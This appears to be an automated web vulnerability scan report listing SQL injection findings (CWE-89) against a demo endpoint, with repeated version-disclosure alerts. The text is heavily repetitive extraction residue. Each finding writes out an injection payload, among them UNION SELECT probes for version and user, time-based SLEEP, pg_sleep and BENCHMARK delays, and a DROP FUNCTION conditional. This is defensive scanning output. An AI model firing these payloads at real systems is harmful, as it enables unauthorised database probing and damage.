BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #410
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 2947=LIKE('ABCDEFG',UPPER(HEX(
RANDOMBLOB(1000000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #411
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.io' or '' '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #412
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #413
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #414
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 19--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #415
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #416Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+
CHAR(116)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #417
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A
')),4,5,6,7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #418
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR x=y--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #419
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #420
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #421
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #422
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io IF(7423=7424) SELECT 7423 ELSE DROP 
FUNCTION xcjl--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #423
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ")) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #424
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io%00
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
